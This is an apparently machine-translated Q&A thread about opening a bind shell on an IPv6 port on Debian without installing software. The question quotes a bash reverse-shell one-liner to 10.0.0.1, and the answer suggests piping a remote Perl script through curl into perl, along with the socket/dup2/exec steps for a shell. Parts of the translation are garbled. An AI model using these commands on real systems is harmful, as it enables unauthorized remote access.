IPV6アドレスのポートでリッスンできるようにしたい(最終的にはバインドシェルの作成)。
バインドするLinux(debian)システムにインストールされているnetcatを使用しようとしています。残念ながら、IPV6ではなくIPV4 TCPポートにのみバインドされているようです。 (これはnetcatの以前のバージョンであり、IPV6をサポートしていません。)
私はリバースシェルにも同様の方法があることを知っていますが、私の状況に適した同様の方法があるかどうか疑問に思います。
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
私が助けることができないいくつかのルールがあります:
追加のアプリをインストールまたは更新したり、アプリを自分で作成したりすることはできません。
答え1
いいえ。読む:NCリスニングの代わりに/dev/tcpリスニング。
これ以上情報がない場合は、Debianの必須パッケージであるPerlのシステムバージョンを使用できます。単一ファイルのPerlスクリプトを作成します。たとえば、ターゲットシステムにアプリケーションとして存在せずに単一のファイルスクリプトを実行する方法をほぼ確実に見つけることができますcurl https://dropbox.com/.../script.pl | perl
。スクリプトはstdinとstdoutをシステムコール、socket()
元bind()
のlisten()
fdを呼び出す前に置き換えます。dup2()
close()
exec()
python
standard
Debian パッケージがインストールされている場合は、プログラミングが優れています。
明らかに、すでにインストールされている場合は、inetd
独自の設定ファイルを使用して実行できます。 SSHを使うのが気に入らず、sshd
SSHをインストールしたら使えます。他のどのオプションよりも確実に安全です:-P。読む:一般ユーザーとしてsshdを実行できますか?